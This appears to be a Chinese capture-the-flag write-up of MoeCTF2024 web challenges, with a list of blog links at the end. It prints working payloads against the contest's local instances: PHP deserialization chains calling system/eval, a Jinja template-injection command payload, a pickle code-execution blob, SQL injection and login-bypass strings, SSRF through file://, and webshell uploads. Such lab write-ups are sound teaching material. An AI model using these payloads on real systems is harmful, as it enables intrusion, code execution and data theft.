MoeCTF2024-Web题解

目录

1、弗拉格之地的入口

[2、垫刀之路01: MoeCTF?启动!](#2、垫刀之路01: MoeCTF?启动!)

3、ez_http

4、ProveYourLove

5、弗拉格之地的挑战

6、ImageCloud前置

[7、垫刀之路02: 普通的文件上传](#7、垫刀之路02: 普通的文件上传)

[8、垫刀之路03: 这是一个图床](#8、垫刀之路03: 这是一个图床)

[9、垫刀之路05: 登陆网站](#9、垫刀之路05: 登陆网站)

[10、垫刀之路06: pop base mini moe](#10、垫刀之路06: pop base mini moe)

[11、垫刀之路07: 泄漏的密码](#11、垫刀之路07: 泄漏的密码)

[12、垫刀之路04: 一个文件浏览器](#12、垫刀之路04: 一个文件浏览器)

13、静态网页

14、电院_Backend

[15、pop moe](#15、pop moe)

16、勇闯铜人阵

[17、从零开始的 XDU 教书生活](#17、从零开始的 XDU 教书生活)

19、ImageCloud

20、PetStore

21、smbms


1、弗拉格之地的入口

考点:robots.txt
拿到题目,看到爬虫想到robots.txt

尝试在url输入/robots.txt,发现入口,尝试跳转!

获得flag=moectf{conGR4tUlati0N_FOR_know1Ng-r0BoTs-TXt1260a}

2、垫刀之路01: MoeCTF?启动!

考点:Linux命令
题目说已经获得shell,则可以尝试先查看环境变量,使用set命令,获得flag

3、ez_http

考点: POST请求
题目要求使用POST请求访问

改包发送请求

提示传参imoau=sb,再次改包发送

在POST请求的基础上,传递xt=大帅b,再改包

提示我们要改来源地址,想到添加Referer属性,再改包

提示我们要设置Cookie

告诉我们要修改浏览器标识,也就是User-agent

提示我们只允许本地访问,我们可以使用X-Forwarded-For来修改本地访问包

得到flag

4、ProveYourLove

考点:包修改和大量包的发送
拿到题目知道要发送300次请求才能通过

先发送一次抓包

改包尝试发送300次请求

再次刷新界面获得flag

5、弗拉格之地的挑战

考点:POST方法和GET方法
首先拿到这道题,给了个URL,尝试转到!

尝试F12打开控制台!,找到flag1: bW9lY3Rm和下一个链接

尝试转到/flag2hh.php

尝试抓包,发现链接/flag3cad.php 和flag2: e0FmdEV

尝试转到/flag3cad.php

尝试GET方法传参a

尝试POST方法传参b

修改身份认证 admin,发送发现flag3: yX3RoMXN

跳转链接,发现说要指定从哪个链接跳转过来,这里我们可以想到Referer

修改包,给包未添加Referer标签,再次发送,成功进入第四关

观察代码,要获得flag要发送post请求包。修改包,尝试发送请求包,获得flag4: fdFVUMHJ和/flag5sxr.php

转到/flag5sxr.php

尝试发送请求,然后抓包

修改包内容,发现flag5: fSV90aDF 和 /flag6diw.php

转到flag6diw.php

解析代码可知,需要用get方法和post方法分别传递moe变量,并且moe不能是flag,但可以是FLAG,构包发送。

发现flag6: rZV9VX2t和下一关的链接/flag7fxxkfinal.php

跳转/flag7fxxkfinal.php

看到一句话木马,尝试蚁剑连接。

查找根目录/发现flag7为rbm93X1dlQn0=

将flag1~flag7组合得到:

bW9lY3Rme0FmdEVyX3RoMXNfdFVUMHJfSV90aDFrZV9VX2trbm93X1dlQn0=

再尝试base64解密,得到flag。

6、ImageCloud前置

考点:ssrf攻击
先源代码审计 ,发现curl,可能存在ssrf攻击

复制代码
<?php
$url = $_GET['url'];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

$res = curl_exec($ch);

$image_info = getimagesizefromstring($res);
$mime_type = $image_info['mime'];

header('Content-Type: ' . $mime_type);

curl_close($ch);

echo $res;
?>

尝试使用file协议访问。

发现flag =moectf{i-aM-VerY-50rrY-a6out_THIs1a42fb1a}

7、垫刀之路02: 普通的文件上传

考点:一句话木马获取Webshell+文件上传
直接尝试上传一句话木马php文件,上传成功。

尝试蚁剑连接,连接成功!

尝试使用终端查看环境变量,发现flag=moectf{upL04d-y0uR_P@Y1OAd_aNd_d0_wH4t_YOuR-waNT7c0}

8、垫刀之路03: 这是一个图床

考点:一句话木马获取Webshell+文件上传绕过
看到文件上传按钮,尝试php文件上传。

发现被拦截,猜测可能前端验证,因为没有加载页面。

尝试修改后缀为.jpg上传,成功上传。

然后尝试蚁剑连接,连接失败。

再尝试通过url访问,发现未被成功解析为php脚本文件,可能是后缀的问题,尝试抓包。

修改文件后缀为php,再次尝试蚁剑连接,连接成功!

尝试使用终端查看环境变量,发现flag=moectf{byp4ss-ThE-Mlme-TyPe_and_EXt3nSl0N_yoU-C4N_do_IT3}

9、垫刀之路05: 登陆网站

考点:sql注入+万能密钥
使用sqlmap检测是否有注入点,发现闭合符号单引号。

尝试万能密钥登录,成功获得flag

10、垫刀之路06: pop base mini moe

考点:php反序列化
分析以下代码,可以知道有两个类。首先是A类,带两个私有变量,和一个销毁时触发的__destruct()函数,观察该函数,发现私有变量a可以作为函数调用。其次是B类带有一个私有变量和__invoke函数,说明对象B可以作为函数被调用,而其私有变量b也可以作为函数被调用,所以可以得到私有变量a应该赋值对象B。

所以此时我们应该想到,变量a赋值的应该是对象b,变量evil应该赋值的是需要执行的命令,而对象B的私有变量b应该赋值一个可执行命令的函数,可以很容易想到php的system函数。那该怎么赋值呢?这里采用了__construct赋值的方法,将对象B赋值给a,运行代码。

复制代码
<?php
 
class B {
    private $b="system";
 
    function __invoke($c) {
        $s = $this->b;
        $s($c);
    }
}
 
class A {
    // 注意 private 属性的序列化哦
    private $evil="ls";
    // 如何赋值呢
    private $a;
	public function __construct($x){
		$this->a=$x;
	}
    function __destruct() {
        $s = $this->a;
        $s($this->evil);
    }
}
 
$x=new B();
$a=new A($x);
echo serialize($a);
echo urlencode(serialize($a));
 
 
 ?>

得到序列化对象的URL编码。

复制代码
O%3A1%3A%22A%22%3A2%3A%7Bs%3A7%3A%22%00A%00evil%22%3Bs%3A2%3A%22ls%22%3Bs%3A4%3A%22%00A%00a%22%3BO%3A1%3A%22B%22%3A1%3A%7Bs%3A4%3A%22%00B%00b%22%3Bs%3A6%3A%22system%22%3B%7D%7D

11、垫刀之路07: 泄漏的密码

考点:目录爆破+python系统代码执行
刚拿到,先尝试目录爆破,爆破出/console这个目录 ,尝试进入。

输入pin值进入后台。

尝试动态引入os,使用popen方法进行查看文件和打开文件。(单纯用system方法会返回0)

12、垫刀之路04: 一个文件浏览器

考点:url传参
尝试随便点一个链接观察url,发现可以修改url的path值浏览服务器的文件。

尝试修改查找flag,最终将path值修改成.../.../.../tmp/flag成功找到flag

13、静态网页

考点:抓包+数组参数传递
点击下面的人,提示衣服是后端请求,这里我们尝试抓包。

查看抓到的三个包的第三个,发现网址final1l1l_challenge.php

]

尝试跳转发现要传参,获取flag。

分析代码可得:a是弱相等要传参非数字0,而b要传参数关联数组,构造以下包。

发送请求得到flag

14、电院_Backend

考点:目录爆破+万能密码
首先尝试目录爆破,发现后台admin

进入后台

尝试万能密码破解 ,得到flag。

复制代码
[email protected]' || true #

15、pop moe

考点:Python反序列化
首先分析代码

复制代码
<?php

class class000 {
    private $payl0ad = 0;
    protected $what;

    public function __destruct()
    {
        $this->check();
    }

    public function check()
    {
        if($this->payl0ad === 0)
        {
            die('FAILED TO ATTACK');
        }
        $a = $this->what;
        $a();
    }
}

class class001 {
    public $payl0ad;
    public $a;
    public function __invoke()
    {
        $this->a->payload = $this->payl0ad;
    }
}

class class002 {
    private $sec;
    public function __set($a, $b)
    {
        $this->$b($this->sec);
    }

    public function dangerous($whaattt)
    {
        $whaattt->evvval($this->sec);
    }

}

class class003 {
    public $mystr;
    public function evvval($str)
    {
        eval($str);
    }

    public function __tostring()
    {
        return $this->mystr;
    }
}

if(isset($_GET['data']))
{
    $a = unserialize($_GET['data']);
}
else {
    highlight_file(__FILE__);
}

该方法接收GET方法,通过参数data传递。

该class000对象销毁时,会调用check函数,要想成功执行,则pay10ad必须为非0,而且a变量必须可以作为函数调用,则必须赋值class001。

该class001对象会向a对象的payload变量进行赋值,则我们可以想到set魔术方法,也就是说a必须赋值class002对象。

该class002对象带有set函数,其中set传参b,必须是一个函数可以调用,则我们可以想到可以传递dangerous()函数,而dangerous要调用what变量的evvval方法,则what应该赋值class003。

该class003对象,带有eval函数。也就是说$str应该传递执行系统命令的代码,这里有toString魔术方法,会返回mystr的值,那么则可以给mystr赋值系统命令,而class002的sec变量可以赋值class003,这样当class003被当成字符串的时候,会返回mystr变量的值。

所以总结写出pop反序列化链,代码如下:

复制代码
<?php

class class000 {
    private $payl0ad = '0';
    protected $what;//函数对象class01
	public function __construct($x){
		$this->what=$x;
	}
    public function __destruct()//入口
    {
        $this->check();
    }

    public function check()
    {
        if($this->payl0ad === 0)
        {
            die('FAILED TO ATTACK');
        }
        $a = $this->what;
        $a();
    }
}

class class001 {
    public $payl0ad="dangerous";
    public $a;//赋值class2
	public function __construct($x){
		$this->a=$x;
	}
    public function __invoke()
    {
        $this->a->payload = $this->payl0ad;//调用set方法
    }
}

class class002 {
    private $sec;
	public function __construct($x){
		$this->sec=$x;
	}
    public function __set($a, $b)
    {
		//echo $this->$b;
        $this->$b($this->sec);
    }

    public function dangerous($whaattt)
    {
        $whaattt->evvval($this->sec);//调用类class003的函数,
    }

}

class class003 {
    public $mystr='system("set");';
    public function evvval($str)
    {

        eval($str);
    }

    public function __tostring()
    {
        return $this->mystr;
    }
}
$class3=new class003();
$class2=new class002($class3);
$class1=new class001($class2);
$class0=new class000($class1);

echo urlencode(serialize($class0));
//echo serialize($class0);
 ?>

16、勇闯铜人阵

考点:Requset库
该题写脚本进行爬取,模拟用户输入请求。

复制代码
import requests
from lxml import html
url="http://127.0.0.1:58591/"
session=requests.Session()
data1={
    'player':1,
    'direct':'弟子明白'
}
d1=["北方","东北方","东方","东南方","南方","西南方","西方","西北方"]
d2=["北方一个","东北方一个","东方一个","东南方一个","南方一个","西南方一个","西方一个","西北方一个"]
a=[1,2,3,4,5,6,7,8]
r=session.post(url,data=data1)
data_html=html.fromstring(r.text)
b=data_html.xpath('/html/body/h1[2]/text()')

strs=b[0].strip()
n=5
while(n):
    if len(strs)==1:
        data={
            'player':1,
            'direct':str(d1[int(strs)-1])
        }
    else :
        len(strs)
        data = {
            'player': 1,
            'direct': str(d2[int(strs[0])-1]+','+d2[int(strs[len(strs)-1])-1])
        }
    print(data)
    r = session.post(url, data=data)
    print(r.text)
    data_html=html.fromstring(r.text)
    b=data_html.xpath('/html/body/h1[2]/text()')
    strs=b[0].strip()
    print(strs)
    n=n-1    

17、从零开始的 XDU 教书生活

考点:Request库
主要就是要利用python的Request库,来模拟登录,和访问签到页面,用户的密码和账号涉及加密AES,需要编写对应的加密函数,可以从js脚本中获得(将JS代码转换python代码)。

复制代码
import requests
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad  
def decrypt_by_aes(encrypted: str, key: str, iv: str) -> str:
    key_bytes = key.encode("utf-8")
    iv_bytes = iv.encode("utf-8")
    cipher = AES.new(key_bytes, AES.MODE_CBC, iv_bytes)
    encrypted_bytes = base64.b64decode(encrypted)
    decrypted_bytes = cipher.decrypt(encrypted_bytes)
    pad = decrypted_bytes[-1]
    decrypted_bytes = decrypted_bytes[:-pad]
    decrypted = decrypted_bytes.decode("utf-8")
    return decrypted

def encrypt_by_aes(message: str, key: str) -> str:  
    # 将密钥和消息转换为字节  
    key_bytes = key.encode("utf-8")  # 假设密钥是UTF-8字符串  
    message_bytes = message.encode("utf-8")  

    # 创建AES加密器,使用CBC模式  
    cipher = AES.new(key_bytes, AES.MODE_CBC, iv=key_bytes)  

    # 对消息进行填充  
    padded_message = pad(message_bytes, AES.block_size)  

    # 执行加密  
    encrypted_bytes = cipher.encrypt(padded_message)  

    # 返回Base64编码的加密数据  
    return base64.b64encode(encrypted_bytes).decode("utf-8")

f=open("1.txt", "r") 
lines=[]
for i in f.readlines():
    lines.append(i.strip('
'))    #去掉列表中每一个元素的换行符


sesstion = requests.Session()
key = "u2oh6Vu^HWe4_AES"
iv = "u2oh6Vu^HWe4_AES"
n=0
for i in lines:
    n+=1
    pwd=i

    phone=pwd

    AEStext=encrypt_by_aes(phone,key)

    datas={
        'uname':AEStext,
        'password':AEStext,
        't':"true"
    }
    res=sesstion.post("http://127.0.0.1:50979/fanyalogin",data=datas)
    print(sesstion.cookies)
    res=sesstion.get("http://127.0.0.1:50979/widget/sign/e?id=4000000000000&c=3774046904159&enc=9B3C4EE89853011BC957F8C80F269B26&DB_STRATEGY=PRIMARY_KEY&STRATEGY_PARA=id")
    print(res.text)
    print("进度:"+str(n)+'/1024') 
# 9084575


# 8687191


# 3060289


# 6199440


# 1124453

18、who's blog

考点:SSTI注入

复制代码
{% for i in ().__class__.__base__.__subclasses__()%}{% if '_ModuleLock'== i.__name__ %}{{i.__init__.__globals__['__builtins__'].eval('__import__("os").popen("ls").read()')}}{% endif %}{% endfor %}

19、ImageCloud

考点:暴力破解+源码审计
从app2.py的代码里可以知道,该代码跑在5000-6000端口号上,从文件结构和代码可以想到通过app2.py文件访问uploads文件夹,即可得到flag。

访问即可得到flag

20、PetStore

考点:Pickle反序列化
Pickle反序列化时,会自动调用魔术方法__reduce__,该方法返回一个元组,可以执行任意代码,这里我采用将系统执行的结果反射到store的pets的值进行覆盖输出。

复制代码
import pickle
import base64
import uuid
class Pet:
    def __init__(self, name, species) -> None:
        self.name = name
        self.species = species
        self.uuid = uuid.uuid4()

    def __repr__(self) -> str:
        return f"Pet(name={self.name}, species={self.species}, uuid={self.uuid})"
class PetStore:
    def __init__(self) -> None:
        self.pets = []

    def create_pet(self, name, species) -> None:
        pet = Pet(name, species)
        self.pets.append(pet)

    def get_pet(self, pet_uuid) -> Pet :
        for pet in self.pets:
            if str(pet.uuid) == pet_uuid:
                return pet
        return None

    def export_pet(self, pet_uuid) -> str :
        pet = self.get_pet(pet_uuid)
        if pet is not None:
            self.pets.remove(pet)
            serialized_pet = base64.b64encode(pickle.dumps(pet)).decode("utf-8")
            return serialized_pet
        return None

    def import_pet(self, serialized_pet) -> bool:
        try:
            pet_data = base64.b64decode(serialized_pet)
            pet = pickle.loads(pet_data)
            if isinstance(pet, Pet):
                for i in self.pets:
                    if i.uuid == pet.uuid:
                        return False
                self.pets.append(pet)
                return True
            return False
        except Exception:
            return False

store = PetStore()

class A:
    def __reduce__(self):
        return (exec,("store.create_pet(__import__('os').popen('echo $FLAG').read(),1)",))

pet = A()
serialized_pet = base64.b64encode(pickle.dumps(pet)).decode("utf-8")
print(serialized_pet)
pet_data = base64.b64decode(serialized_pet)
repet=pickle.loads(pet_data)
# FLAG='moectf{StARRyM30W'"'"'s-FL@g_hA5-been_@CC3Pt3d-4CAc4c@C2c}'
print(store.pets)

引入base64的pickle的序列串,如下,然后刷新网页,即可得到flag。

复制代码
gASVWwAAAAAAAACMCGJ1aWx0aW5zlIwEZXhlY5STlIw/c3RvcmUuY3JlYXRlX3BldChfX2ltcG9ydF9fKCdvcycpLnBvcGVuKCdlY2hvICRGTEFHJykucmVhZCgpLDEplIWUUpQu

21、smbms

考点:弱密码+SQL注入
从附件的.sql文件中获取账号,和弱认证的问题,然后我们尝试弱密码爆破,得到管理员密码1234567。

进入系统后,发现只有用户管理这个页面的搜索功能可以使用,尝试源代码审计。

代码审计,找到查询用户的逻辑代码,发现存在字符串拼接,则存在SQL注入漏洞。

尝试联合注入,得到flag。

复制代码
邓超%' union select 1,2,3,4,5,6,7,8,9,10,11,12,13,flag from flag limit ?,? -- 
相关推荐
腾讯TNTWeb前端团队44 分钟前
helux v5 发布了,像pinia一样优雅地管理你的react状态吧
前端·javascript·react.js
范文杰4 小时前
AI 时代如何更高效开发前端组件?21st.dev 给了一种答案
前端·ai编程
拉不动的猪4 小时前
刷刷题50(常见的js数据通信与渲染问题)
前端·javascript·面试
拉不动的猪4 小时前
JS多线程Webworks中的几种实战场景演示
前端·javascript·面试
FreeCultureBoy5 小时前
macOS 命令行 原生挂载 webdav 方法
前端
uhakadotcom6 小时前
Astro 框架:快速构建内容驱动型网站的利器
前端·javascript·面试
uhakadotcom6 小时前
了解Nest.js和Next.js:如何选择合适的框架
前端·javascript·面试
uhakadotcom6 小时前
React与Next.js:基础知识及应用场景
前端·面试·github
uhakadotcom6 小时前
Remix 框架:性能与易用性的完美结合
前端·javascript·面试
uhakadotcom6 小时前
Node.js 包管理器:npm vs pnpm
前端·javascript·面试